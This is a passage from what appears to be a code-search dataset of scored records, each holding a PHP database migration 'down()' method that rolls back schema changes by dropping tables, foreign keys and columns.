groupe_user');\n $this->addSql('DROP TABLE inviter');\n $this->addSql('DROP TABLE langprog');\n $this->addSql('DROP TABLE user');\n }", "title": "" }, { "docid": "ac129d9d8b8c684f41b5e0f5dd334133", "score": "0.6545861", "text": "public static function down(){\n\n DBW::drop('Meta');\n\n }", "title": "" }, { "docid": "2dfb81698a17bf0d484a0abe3cc2e682", "score": "0.6545469", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE oauth_users DROP FOREIGN KEY FK_93804FF882E14982');\n $this->addSql('ALTER TABLE oauth_users DROP FOREIGN KEY FK_93804FF8E06F81F7');\n $this->addSql('ALTER TABLE Servico DROP FOREIGN KEY FK_CEF54A50E06F81F7');\n $this->addSql('ALTER TABLE Pagamento DROP FOREIGN KEY FK_BCEEC9B52AF522B5');\n $this->addSql('DROP TABLE AvaliacaoPrestador');\n $this->addSql('DROP TABLE Servico');\n $this->addSql('DROP TABLE Pagamento');\n $this->addSql('DROP TABLE EspecialidadePrestador');\n $this->addSql('DROP TABLE Cartao');\n $this->addSql('DROP INDEX IDX_93804FF8E06F81F7 ON oauth_users');\n $this->addSql('DROP INDEX IDX_93804FF882E14982 ON oauth_users');\n $this->addSql('ALTER TABLE oauth_users DROP pagamento_id, DROP servico_id, DROP cpf, DROP telefone, DROP cep, DROP cidade, DROP estado, DROP bairro, DROP rua, DROP numero, DROP complemento, DROP foto, CHANGE nome first_name VARCHAR(255) DEFAULT NULL COLLATE utf8_unicode_ci');\n $this->addSql('ALTER TABLE oauth_users RENAME INDEX idx_93804ff8d60322ac TO IDX_93804FF819BE1B30');\n }", "title": "" }, { "docid": "8d4c3b212e4886e307c5f6a14a99aa0e", "score": "0.6544901", "text": "public function down()\n {\n echo \"\\n Removing facilitator_id column from client_applications table\";\n\n $facilitator_id = Schema::remove_column('client_applications', 'facilitator_id');\n\n echo \"\\n Schema changes successful\";\n }", "title": "" }, { "docid": "d5eae41d123ec6baf5635d2097b57792", "score": "0.6543388", "text": "public function down()\n {\n Schema::dropIfExists('descripcion');\n }", "title": "" }, { "docid": "b73cab054c365ce893f54a376d24756e", "score": "0.6543184", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE aide_indice DROP FOREIGN KEY FK_12859A71661C0C23');\n $this->addSql('ALTER TABLE boulon DROP FOREIGN KEY FK_BADFB6B348726719');\n $this->addSql('ALTER TABLE fil DROP FOREIGN KEY FK_4320931D48726719');\n $this->addSql('ALTER TABLE objet_scenario DROP FOREIGN KEY FK_8F952FEA48726719');\n $this->addSql('ALTER TABLE commut DROP FOREIGN KEY FK_A8A373F04A8CA2AD');\n $this->addSql('ALTER TABLE etape_etape DROP FOREIGN KEY FK_98C5F1A3E887B9CC');\n $this->addSql('ALTER TABLE etape_etape DROP FOREIGN KEY FK_98C5F1A3F162E943');\n $this->addSql('ALTER TABLE indice DROP FOREIGN KEY FK_38710B554A8CA2AD');\n $this->addSql('ALTER TABLE commut DROP FOREIGN KEY FK_A8A373F0E48FD905');\n $this->addSql('ALTER TABLE joueur DROP FOREIGN KEY FK_FD71A9C5E48FD905');\n $this->addSql('ALTER TABLE objet_scenario DROP FOREIGN KEY FK_8F952FEAE48FD905');\n $this->addSql('ALTER TABLE aide_indice DROP FOREIGN KEY FK_12859A71C8C0B132');\n $this->addSql('ALTER TABLE aide DROP FOREIGN KEY FK_D99184A1504DCF6F');\n $this->addSql('ALTER TABLE etape DROP FOREIGN KEY FK_285F75DDE04E49DF');\n $this->addSql('ALTER TABLE game DROP FOREIGN KEY FK_232B318CE04E49DF');\n $this->addSql('DROP TABLE aide');\n $this->addSql('DROP TABLE aide_indice');\n $this->addSql('DROP TABLE bombe');\n $this->addSql('DROP TABLE boulon');\n $this->addSql('DROP TABLE commut');\n $this->addSql('DROP TABLE etape');\n $this->addSql('DROP TABLE etape_etape');\n $this->addSql('DROP TABLE fil');\n $this->addSql('DROP TABLE game');\n $this->addSql('DROP TABLE indice');\n $this->addSql('DROP TABLE joueur');\n $this->addSql('DROP TABLE objet_scenario');\n $this->addSql('DROP TABLE scenario');\n }", "title": "" }, { "docid": "27660f9876f8cfeb085388fc7b2a6925", "score": "0.6542049", "text": "public function down()\n\t{\n\t\t// Drop all tables\n\t\tSchema::drop('photos');\n\n\t\tSchema::drop('albums');\n\n\t\tSchema::drop('boojers');\n\n\t\tSchema::drop('boojer_photo');\n\n\t\tSchema::drop('boojtags');\n\n\t\tSchema::drop('boojer_boojtag');\n\t}", "title": "" }, { "docid": "fec0a59340f68bd8b1775a2556b3dc82", "score": "0.65367925", "text": "public function down()\n\t{\n\t\tSchema::drop('modules');\n\t}", "title": "" }, { "docid": "6963de45e237b50410021629a09f29d6", "score": "0.65330714", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE offre DROP FOREIGN KEY FK_AF86866FBCF5E72D');\n $this->addSql('ALTER TABLE competence_offre DROP FOREIGN KEY FK_25A4D78915761DAB');\n $this->addSql('ALTER TABLE particulier_experience DROP FOREIGN KEY FK_426FF89546E90E27');\n $this->addSql('ALTER TABLE formation_prerequis DROP FOREIGN KEY FK_9EBBD45200282E');\n $this->addSql('ALTER TABLE formation_particulier DROP FOREIGN KEY FK_3339F4285200282E');\n $this->addSql('ALTER TABLE discussion DROP FOREIGN KEY FK_C0B9F90F537A1329');\n $this->addSql('ALTER TABLE competence_offre DROP FOREIGN KEY FK_25A4D789B3E9C81');\n $this->addSql('ALTER TABLE competence_offre DROP FOREIGN KEY FK_25A4D7894CC8505A');\n $this->addSql('ALTER TABLE offre_particulier DROP FOREIGN KEY FK_27ED5ED34CC8505A');\n $this->addSql('ALTER TABLE formation_prerequis DROP FOREIGN KEY FK_9EBBD4ED196790');\n $this->addSql('DROP TABLE categorie_offre');\n $this->addSql('DROP TABLE competence');\n $this->addSql('DROP TABLE competence_offre');\n $this->addSql('DROP TABLE discussion');\n $this->addSql('DROP TABLE experience');\n $this->addSql('DROP TABLE formation');\n $this->addSql('DROP TABLE formation_prerequis');\n $this->addSql('DROP TABLE formation_particulier');\n $this->addSql('DROP TABLE message');\n $this->addSql('DROP TABLE niveau');\n $this->addSql('DROP TABLE offre');\n $this->addSql('DROP TABLE offre_particulier');\n $this->addSql('DROP TABLE particulier_experience');\n $this->addSql('DROP TABLE prerequis');\n }", "title": "" }, { "docid": "f667b88cad04b5bf0a7297b6e6ead856", "score": "0.65315586", "text": "public function down()\n {\n// $this->db->execute(\"DROP TABLE IF EXISTS \".$this->tableName);\n }", "title": "" }, { "docid": "40905b5c711eec05c969f61af098f221", "score": "0.65261656", "text": "public function down()\n {\n Schema::drop('stapler_files');\n }", "title": "" }, { "docid": "12505d06c4672627aa6c9e5f98838dc6", "score": "0.65245724", "text": "public function down()\n\t{\n\t\tSchema::table('projects', function($t){\n\t\t\t$t->drop_column('posted_to_fbo_at');\n\t\t\t$t->string('fbo_solnbr')->nullable();\n\t\t});\n\n\t\tSchema::table('officers', function($t){\n\t\t\t$t->date('verified_at')->nullable();\n\t\t\t$t->string('verified_solnbr')->nullable();\n\t\t});\n\t}", "title": "" }, { "docid": "d953cb2b533cfb04096d4965ec04593e", "score": "0.65229213", "text": "public function down() {\n Schema::drop('users');\n }", "title": "" }, { "docid": "23781cd37dab1948cc108f44c1d1ec16", "score": "0.6520959", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE stream DROP FOREIGN KEY FK_F0E9BE1CFFE6496F');\n $this->addSql('ALTER TABLE event_stream DROP FOREIGN KEY FK_C270C94ED0ED463E');\n $this->addSql('ALTER TABLE `match` DROP FOREIGN KEY FK_7A5BC505C0F070A6');\n $this->addSql('ALTER TABLE `match` DROP FOREIGN KEY FK_7A5BC505DA973B90');\n $this->addSql('ALTER TABLE `match` DROP FOREIGN KEY FK_7A5BC505C822947E');\n $this->addSql('ALTER TABLE bet DROP FOREIGN KEY FK_FBF0EC9BC0F070A6');\n $this->addSql('ALTER TABLE event_stream DROP FOREIGN KEY FK_C270C94E71F7E88B');\n $this->addSql('ALTER TABLE `match` DROP FOREIGN KEY FK_7A5BC50571F7E88B');\n $this->addSql('ALTER TABLE video_game_genre DROP FOREIGN KEY FK_31C452C14296D31F');\n $this->addSql('ALTER TABLE bet DROP FOREIGN KEY FK_FBF0EC9B3965E575');\n $this->addSql('ALTER TABLE event DROP FOREIGN KEY FK_3BAE0AA716230A8');\n $this->addSql('ALTER TABLE video_game_genre DROP FOREIGN KEY FK_31C452C116230A8');\n $this->addSql('DROP TABLE stream_platform');\n $this->addSql('DROP TABLE stream');\n $this->addSql('DROP TABLE competitor');\n $this->addSql('DROP TABLE event');\n $this->addSql('DROP TABLE event_stream');\n $this->addSql('DROP TABLE genre');\n $this->addSql('DROP TABLE `match`');\n $this->addSql('DROP TABLE bet');\n $this->addSql('DROP TABLE video_game');\n $this->addSql('DROP TABLE video_game_genre');\n $this->addSql('ALTER TABLE user CHANGE roles roles LONGTEXT NOT NULL COLLATE utf8mb4_bin, CHANGE token_email token_email VARCHAR(255) DEFAULT \\'NULL\\' COLLATE utf8mb4_unicode_ci, CHANGE token_password token_password VARCHAR(255) DEFAULT \\'NULL\\' COLLATE utf8mb4_unicode_ci, CHANGE date_last_cx date_last_cx DATETIME DEFAULT \\'NULL\\'');\n }", "title": "" }, { "docid": "14f4e702d9eb513dc0e5438d92628fc3", "score": "0.65171164", "text": "public function down()\n {\n Schema::dropIfExists('tags');\n }", "title": "" }, { "docid": "2fadb48b7ed8d9b1a9b7fd8b535bba89", "score": "0.6514506", "text": "public function down()\n {\n Schema::table('musicalbums', function(Blueprint $table) {\n\n $table->dropColumn('front_file_name');\n $table->dropColumn('front_file_size');\n $table->dropColumn('front_content_type');\n $table->dropColumn('front_updated_at');\n\n });\n }", "title": "" }, { "docid": "cc57337af4e861fea6bf4f7d777ab4f9", "score": "0.6512016", "text": "public function down()\n {\n Schema::connection(env('pgsql-app'))->dropIfExists('vehicles');\n }", "title": "" }, { "docid": "6cdd70c987d51abb9052e05aaace5363", "score": "0.6511077", "text": "public function down()\n\t{\n\t\tSchema::drop('encounter_documents');\n\t}", "title": "" }, { "docid": "a5725d20f11cdba2f4141cf9eeb29ffa", "score": "0.6507198", "text": "public function down()\n\t{\n\t\tDB::table('student_types')->where('id','=','1')->delete();\n\t\tDB::table('student_types')->where('id','=','2')->delete();\n\t}", "title": "" }, { "docid": "939ed716637fea7edcc31068eec878ff", "score": "0.65017253", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE user DROP FOREIGN KEY FK_8D93D649943A5F0');\n $this->addSql('ALTER TABLE competitions_user DROP FOREIGN KEY FK_536F51C97B39D312');\n $this->addSql('ALTER TABLE user DROP FOREIGN KEY FK_8D93D64921D9C0A');\n $this->addSql('ALTER TABLE user DROP FOREIGN KEY FK_8D93D6497A45358C');\n $this->addSql('ALTER TABLE entrainement_groupe DROP FOREIGN KEY FK_D3EB3DE97A45358C');\n $this->addSql('ALTER TABLE competitions_user DROP FOREIGN KEY FK_536F51C9A76ED395');\n $this->addSql('ALTER TABLE lecon DROP FOREIGN KEY FK_94E6242EA76ED395');\n $this->addSql('ALTER TABLE entrainement_user DROP FOREIGN KEY FK_EB3D3F70A76ED395');\n $this->addSql('ALTER TABLE user_objectifs DROP FOREIGN KEY FK_760DBE5A76ED395');\n $this->addSql('ALTER TABLE lecon DROP FOREIGN KEY FK_94E6242EA15E8FD');\n $this->addSql('ALTER TABLE entrainement_groupe DROP FOREIGN KEY FK_D3EB3DE9A15E8FD');\n $this->addSql('ALTER TABLE entrainement_user DROP FOREIGN KEY FK_EB3D3F702477266C');\n $this->addSql('DROP TABLE user_arbitre');\n $this->addSql('DROP TABLE competitions_user');\n $this->addSql('DROP TABLE competitions');\n $this->addSql('DROP TABLE lecon');\n $this->addSql('DROP TABLE user_arme');\n $this->addSql('DROP TABLE groupe');\n $this->addSql('DROP TABLE user');\n $this->addSql('DROP TABLE entrainement');\n $this->addSql('DROP TABLE entrainement_groupe');\n $this->addSql('DROP TABLE entrainement_user');\n $this->addSql('DROP TABLE user_objectifs');\n }", "title": "" }, { "docid": "c5477ed62bcdb9a85bc52abbf1e2000c", "score": "0.64991593", "text": "public function down()\n {\n Schema::table('usuarios', function (Blueprint $table) {\n schema::dropIfExists('usuarios');\n });\n }", "title": "" }, { "docid": "b0561212d814d1b448be19f96f271b67", "score": "0.64965886", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE offer DROP FOREIGN KEY FK_29D6873E979B1AD6');\n $this->addSql('ALTER TABLE candidates_students DROP FOREIGN KEY FK_C0B3F6A053C674EE');\n $this->addSql('ALTER TABLE offer_student DROP FOREIGN KEY FK_162B693A53C674EE');\n $this->addSql('ALTER TABLE experience DROP FOREIGN KEY FK_590C103CB944F1A');\n $this->addSql('ALTER TABLE candidates_students DROP FOREIGN KEY FK_C0B3F6A0CB944F1A');\n $this->addSql('ALTER TABLE offer_student DROP FOREIGN KEY FK_162B693ACB944F1A');\n $this->addSql('ALTER TABLE skill_student DROP FOREIGN KEY FK_ADD6311ACB944F1A');\n $this->addSql('ALTER TABLE formation DROP FOREIGN KEY FK_404021BFCB944F1A');\n $this->addSql('ALTER TABLE skill_student DROP FOREIGN KEY FK_ADD6311A5585C142');\n $this->addSql('ALTER TABLE company DROP FOREIGN KEY FK_4FBF094FA76ED395');\n $this->addSql('ALTER TABLE student DROP FOREIGN KEY FK_B723AF33A76ED395');\n $this->addSql('ALTER TABLE school DROP FOREIGN KEY FK_F99EDABBA76ED395');\n $this->addSql('DROP TABLE experience');\n $this->addSql('DROP TABLE company');\n $this->addSql('DROP TABLE offer');\n $this->addSql('DROP TABLE candidates_students');\n $this->addSql('DROP TABLE offer_student');\n $this->addSql('DROP TABLE student');\n $this->addSql('DROP TABLE school');\n $this->addSql('DROP TABLE skill');\n $this->addSql('DROP TABLE skill_student');\n $this->addSql('DROP TABLE user');\n $this->addSql('DROP TABLE formation');\n }", "title": "" }, { "docid": "f0ccf02f508d28af2d6d11b9a96cd7fb", "score": "0.64893043", "text": "public function down() {\n // $this->execute('TRUNCATE TABLE `accesses_migrate`');\n // $this->execute('ALTER TABLE `accesses_migrate` CHANGE `id` `id` INT(11) unsigned NOT NULL');\n // $this->execute('INSERT INTO `accesses_migrate` SELECT * FROM `accesses`');\n // $this->execute('DROP TABLE `accesses`');\n // $this->execute('RENAME TABLE `accesses_migrate` TO `accesses`');\n $table = $this->table('accesses');\n $this->execute('ALTER TABLE `accesses` DROP PRIMARY KEY, ADD `intId` INT NOT NULL AUTO_INCREMENT PRIMARY KEY');\n $table->update();\n $table->removeColumn('id');\n $table->renameColumn('intId','id');\n $table->update();\n\n $table->removeIndex(['fileId']);\n $table->removeIndex(['type']);\n $table->removeIndex(['ip']);\n\n $this->execute('UPDATE `accesses` INNER JOIN `blends` ON `blends`.`id` = `accesses`.`fileId` SET `accesses`.`fileId` = `blends`.`legacy_id`');\n $table->update();\n $table->removeColumn('message');\n $table->removeColumn('owner');\n $table->changeColumn('fileId','integer', ['signed' => false]);\n $table->update();\n }", "title": "" }, { "docid": "3458564bcfee2bca346274fbe0620361", "score": "0.64881337", "text": "public function down(Schema $schema)\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() != \"mysql\", \"Migration can only be executed safely on 'mysql'.\");\n \n $this->addSql(\"ALTER TABLE Trip DROP FOREIGN KEY FK_D6645A05C54C8C93\");\n $this->addSql(\"ALTER TABLE Service DROP FOREIGN KEY FK_2E20A34EE42F97B9\");\n $this->addSql(\"ALTER TABLE Trip DROP FOREIGN KEY FK_D6645A05F92F3E70\");\n $this->addSql(\"ALTER TABLE Trip DROP FOREIGN KEY FK_D6645A0512469DE2\");\n $this->addSql(\"ALTER TABLE Service DROP FOREIGN KEY FK_2E20A34E22B35BA\");\n $this->addSql(\"ALTER TABLE Contract DROP FOREIGN KEY FK_10F94A0FFFA0C224\");\n $this->addSql(\"ALTER TABLE Employee DROP FOREIGN KEY FK_A4E917F7FFA0C224\");\n $this->addSql(\"ALTER TABLE contract_participant DROP FOREIGN KEY FK_9534B2DC24584564\");\n $this->addSql(\"ALTER TABLE Contract DROP FOREIGN KEY FK_10F94A0FC3568B40\");\n $this->addSql(\"ALTER TABLE Service DROP FOREIGN KEY FK_2E20A34E9D1C3019\");\n $this->addSql(\"ALTER TABLE contract_participant DROP FOREIGN KEY FK_9534B2DC838709D5\");\n $this->addSql(\"ALTER TABLE Contract DROP FOREIGN KEY FK_10F94A0F8C03F15C\");\n $this->addSql(\"ALTER TABLE employee_role DROP FOREIGN KEY FK_E2B0C02D8520A30B\");\n $this->addSql(\"ALTER TABLE employee_role DROP FOREIGN KEY FK_E2B0C02DD60322AC\");\n $this->addSql(\"ALTER TABLE Service DROP FOREIGN KEY FK_2E20A34E518E99D9\");\n $this->addSql(\"ALTER TABLE Catering DROP FOREIGN KEY FK_8008C0B6A5BC2E0E\");\n $this->addSql(\"ALTER TABLE Service DROP FOREIGN KEY FK_2E20A34EA5BC2E0E\");\n $this->addSql(\"ALTER TABLE Accommodation DROP FOREIGN KEY FK_9E461FE7A5BC2E0E\");\n $this->addSql(\"ALTER TABLE Contract DROP FOREIGN KEY FK_10F94A0FA5BC2E0E\");\n $this->addSql(\"ALTER TABLE Transport DROP FOREIGN KEY FK_E45AA38DA5BC2E0E\");\n $this->addSql(\"DROP TABLE Type\");\n $this->addSql(\"DROP TABLE Catering\");\n $this->addSql(\"DROP TABLE Country\");\n $this->addSql(\"DROP TABLE Category\");\n $this->addSql(\"DROP TABLE Service\");\n $this->addSql(\"DROP TABLE Accommodation\");\n $this->addSql(\"DROP TABLE Office\");\n $this->addSql(\"DROP TABLE Contract\");\n $this->addSql(\"DROP TABLE contract_participant\");\n $this->addSql(\"DROP TABLE Customer\");\n $this->addSql(\"DROP TABLE Participant\");\n $this->addSql(\"DROP TABLE Employee\");\n $this->addSql(\"DROP TABLE employee_role\");\n $this->addSql(\"DROP TABLE Role\");\n $this->addSql(\"DROP TABLE Transport\");\n $this->addSql(\"DROP TABLE Trip\");\n }", "title": "" }, { "docid": "d53f18de4795e5ea8f32fd2e1b146988", "score": "0.6485619", "text": "public function down()\n {\n Schema::drop('job_user');\n Schema::drop('jobs');\n\t}", "title": "" }, { "docid": "97935dcdc6d0d5e71c43a09825f15ce2", "score": "0.64828825", "text": "public function down()\n {\n Schema::dropIfExists('tbl_items');\n }", "title": "" }, { "docid": "fd5f50817b290708484342ab8b30f280", "score": "0.64819527", "text": "public function down() {\n Schema::drop('users');\n }", "title": "" }, { "docid": "e1b43a45c6c9f2a83bb83e1104ceac14", "score": "0.64818025", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE prise_de_rendezvous DROP FOREIGN KEY FK_3C4CB6457D0729A9');\n $this->addSql('ALTER TABLE creneau DROP FOREIGN KEY FK_F9668B5F4F31A84');\n $this->addSql('ALTER TABLE prise_de_rendezvous DROP FOREIGN KEY FK_3C4CB6454F31A84');\n $this->addSql('ALTER TABLE structure DROP FOREIGN KEY FK_6F0137EADA00906');\n $this->addSql('ALTER TABLE quartier DROP FOREIGN KEY FK_FEE8962D98260155');\n $this->addSql('ALTER TABLE medecin DROP FOREIGN KEY FK_1BDA53C6DF1E57AB');\n $this->addSql('ALTER TABLE structure DROP FOREIGN KEY FK_6F0137EADF1E57AB');\n $this->addSql('ALTER TABLE structure DROP FOREIGN KEY FK_6F0137EAA277BA8E');\n $this->addSql('ALTER TABLE region DROP FOREIGN KEY FK_F62F176A6E44244');\n $this->addSql('ALTER TABLE prise_de_rendezvous DROP FOREIGN KEY FK_3C4CB6456B899279');\n $this->addSql('ALTER TABLE had DROP FOREIGN KEY FK_8FBCBC2D6B899279');\n $this->addSql('ALTER TABLE livraison DROP FOREIGN KEY FK_A60C9F1F6B899279');\n $this->addSql('ALTER TABLE vsl DROP FOREIGN KEY FK_EF2BCAB66B899279');\n $this->addSql('ALTER TABLE specialite DROP FOREIGN KEY FK_E7D6FCC12534008B');\n $this->addSql('ALTER TABLE creneau DROP FOREIGN KEY FK_F9668B5F5E99F4DB');\n $this->addSql('ALTER TABLE medecin DROP FOREIGN KEY FK_1BDA53C62195E0F0');\n $this->addSql('DROP TABLE creneau');\n $this->addSql('DROP TABLE newsletter');\n $this->addSql('DROP TABLE medecin');\n $this->addSql('DROP TABLE region');\n $this->addSql('DROP TABLE prise_de_rendezvous');\n $this->addSql('DROP TABLE quartier');\n $this->addSql('DROP TABLE had');\n $this->addSql('DROP TABLE type_structure');\n $this->addSql('DROP TABLE livraison');\n $this->addSql('DROP TABLE pays');\n $this->addSql('DROP TABLE patient');\n $this->addSql('DROP TABLE structure');\n $this->addSql('DROP TABLE medicamments');\n $this->addSql('DROP TABLE user');\n $this->addSql('DROP TABLE vsl');\n $this->addSql('DROP TABLE creneau_item');\n $this->addSql('DROP TABLE specialite');\n }", "title": "" }, { "docid": "dcc09c5255c84f68a7b9d92da8397bda", "score": "0.64764744", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE post DROP FOREIGN KEY FK_5A8A6C8D12469DE2');\n $this->addSql('ALTER TABLE post DROP FOREIGN KEY FK_5A8A6C8D67B3B43D');\n $this->addSql('ALTER TABLE post_tag DROP FOREIGN KEY FK_5ACE3AF04B89032C');\n $this->addSql('ALTER TABLE post_tag DROP FOREIGN KEY FK_5ACE3AF0BAD26311');\n $this->addSql('ALTER TABLE training_user DROP FOREIGN KEY FK_8209910ABEFD98D1');\n $this->addSql('ALTER TABLE training DROP FOREIGN KEY FK_D5128A8F3C105691');\n $this->addSql('ALTER TABLE training_user DROP FOREIGN KEY FK_8209910AA76ED395');\n $this->addSql('DROP TABLE category');\n $this->addSql('DROP TABLE post');\n $this->addSql('DROP TABLE post_tag');\n $this->addSql('DROP TABLE tag');\n $this->addSql('DROP TABLE training');\n $this->addSql('DROP TABLE training_user');\n $this->addSql('DROP TABLE user');\n }", "title": "" }, { "docid": "dae7781fa4113eeca1f2eb95f981c327", "score": "0.64760727", "text": "public function down()\n {\n // update db version\n set_option('db_version', '21062012');\n }", "title": "" }, { "docid": "7f4dd62724d90ebebfbdd46f4b846074", "score": "0.64743334", "text": "public function down(Schema $schema)\n {\n $this->abortIf(\n $this->connection->getDatabasePlatform()->getName() !== 'mysql',\n 'Migration can only be executed safely on \\'mysql\\'.'\n );\n\n $this->addSql('CREATE TABLE filter (' .\n 'id INT AUTO_INCREMENT NOT NULL, ' .\n 'influence_area_id INT NOT NULL, ' .\n 'INDEX IDX_7FC45F1D915ABAF6 (influence_area_id), ' .\n 'PRIMARY KEY(id)) ' .\n 'DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');\n $this->addSql('CREATE TABLE filter_shop (' .\n 'filter_id INT NOT NULL, ' .\n 'shop_id INT NOT NULL, ' .\n 'INDEX IDX_C4502BDBD395B25E (filter_id), ' .\n 'INDEX IDX_C4502BDB4D16C4DD (shop_id), ' .\n 'PRIMARY KEY(filter_id, shop_id)) ' .\n 'DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');\n $this->addSql('ALTER TABLE filter ' .\n 'ADD CONSTRAINT FK_7FC45F1D915ABAF6 FOREIGN KEY (influence_area_id) REFERENCES influence_area (id)');\n $this->addSql('ALTER TABLE filter_shop ' .\n 'ADD CONSTRAINT FK_C4502BDB4D16C4DD FOREIGN KEY (shop_id) REFERENCES shop (id) ON DELETE CASCADE');\n $this->addSql('ALTER TABLE filter_shop ' .\n 'ADD CONSTRAINT FK_C4502BDBD395B25E FOREIGN KEY (filter_id) REFERENCES filter (id) ON DELETE CASCADE');\n $this->addSql('ALTER TABLE regex DROP FOREIGN KEY FK_4204F8CA915ABAF6');\n $this->addSql('ALTER TABLE regex DROP FOREIGN KEY FK_4204F8CA4D16C4DD');\n $this->addSql('DROP INDEX IDX_4204F8CA915ABAF6 ON regex');\n $this->addSql('DROP INDEX IDX_4204F8CA4D16C4DD ON regex');\n $this->addSql('ALTER TABLE regex ADD filter_id INT NOT NULL, DROP influence_area_id, DROP shop_id');\n $this->addSql('ALTER TABLE regex ' .\n 'ADD CONSTRAINT FK_4204F8CAD395B25E FOREIGN KEY (filter_id) REFERENCES filter (id)');\n $this->addSql('CREATE INDEX IDX_4204F8CAD395B25E ON regex (filter_id)');\n }", "title": "" }, { "docid": "bf2d47abd36d355944cd85b2a11091c0", "score": "0.6473392", "text": "public function down()\n {\n Schema::dropIfExists('events');\n }", "title": "" }, { "docid": "a3372abf2d3ec81bd80d0aeb638a98b1", "score": "0.64691544", "text": "public function down()\n\t{\n\t\tDB::table('lecture_rooms')->where('initials','=', 'CS_TUT RM2')->delete();\n\t\tDB::table('lecture_rooms')->where('initials','=', 'CS_TUT RM1')->delete();\n\t\tDB::table('lecture_rooms')->where('initials','=', 'SLT')->delete();\n\t\tDB::table('lecture_rooms')->where('initials','=', 'CH_C2')->delete();\n\t}", "title": "" }, { "docid": "fcd3533a5385a42a2b7932aa457c1e33", "score": "0.6462404", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE bluray_actor DROP FOREIGN KEY FK_3179BB9310DAF24A');\n $this->addSql('ALTER TABLE dvd_actor DROP FOREIGN KEY FK_8DCF2F2110DAF24A');\n $this->addSql('ALTER TABLE bluray_actor DROP FOREIGN KEY FK_3179BB93C007F6F7');\n $this->addSql('ALTER TABLE book DROP FOREIGN KEY FK_CBE5A331F675F31B');\n $this->addSql('ALTER TABLE dvd_actor DROP FOREIGN KEY FK_8DCF2F21797185F6');\n $this->addSql('ALTER TABLE bluray DROP FOREIGN KEY FK_F697EA50899FB366');\n $this->addSql('ALTER TABLE dvd DROP FOREIGN KEY FK_8325C1DF899FB366');\n $this->addSql('DROP TABLE actor');\n $this->addSql('DROP TABLE bluray');\n $this->addSql('DROP TABLE bluray_actor');\n $this->addSql('DROP TABLE author');\n $this->addSql('DROP TABLE dvd');\n $this->addSql('DROP TABLE dvd_actor');\n $this->addSql('DROP TABLE book');\n $this->addSql('DROP TABLE director');\n }", "title": "" }, { "docid": "f0b247b6d78b44bfed966a52e9d2bf05", "score": "0.64609516", "text": "public function down()\n\t{\n\t\tSchema::drop('sys_admin');\n\t}", "title": "" }, { "docid": "14e3553fab1ce2aec385ed1b6acc6231", "score": "0.6458787", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE association DROP FOREIGN KEY FK_FD8521CCA76ED395');\n $this->addSql('ALTER TABLE association_user DROP FOREIGN KEY FK_A2312D48A76ED395');\n $this->addSql('ALTER TABLE company DROP FOREIGN KEY FK_4FBF094FA76ED395');\n $this->addSql('ALTER TABLE company_user DROP FOREIGN KEY FK_CEFECCA7A76ED395');\n $this->addSql('ALTER TABLE food_hero DROP FOREIGN KEY FK_E4E9C657A76ED395');\n $this->addSql('ALTER TABLE association_user DROP FOREIGN KEY FK_A2312D48EFB9C8A5');\n $this->addSql('ALTER TABLE schedule DROP FOREIGN KEY FK_5A3811FBEFB9C8A5');\n $this->addSql('ALTER TABLE offer DROP FOREIGN KEY FK_29D6873EEFB9C8A5');\n $this->addSql('ALTER TABLE company_user DROP FOREIGN KEY FK_CEFECCA7979B1AD6');\n $this->addSql('ALTER TABLE schedule DROP FOREIGN KEY FK_5A3811FB979B1AD6');\n $this->addSql('ALTER TABLE offer DROP FOREIGN KEY FK_29D6873E979B1AD6');\n $this->addSql('ALTER TABLE offer DROP FOREIGN KEY FK_29D6873E6BF700BD');\n $this->addSql('ALTER TABLE offer DROP FOREIGN KEY FK_29D6873EBD4686ED');\n $this->addSql('ALTER TABLE schedule DROP FOREIGN KEY FK_5A3811FB9C24126');\n $this->addSql('DROP TABLE user');\n $this->addSql('DROP TABLE association');\n $this->addSql('DROP TABLE association_user');\n $this->addSql('DROP TABLE company');\n $this->addSql('DROP TABLE company_user');\n $this->addSql('DROP TABLE status');\n $this->addSql('DROP TABLE food_hero');\n $this->addSql('DROP TABLE schedule');\n $this->addSql('DROP TABLE days_of_week');\n $this->addSql('DROP TABLE offer');\n }", "title": "" }, { "docid": "eba13d915948e18c3b4d0f5c6fe291cd", "score": "0.645836", "text": "public function down()\n {\n Schema::dropIfExists('categories');\n }", "title": "" }, { "docid": "eba13d915948e18c3b4d0f5c6fe291cd", "score": "0.645836", "text": "public function down()\n {\n Schema::dropIfExists('categories');\n }", "title": "" }, { "docid": 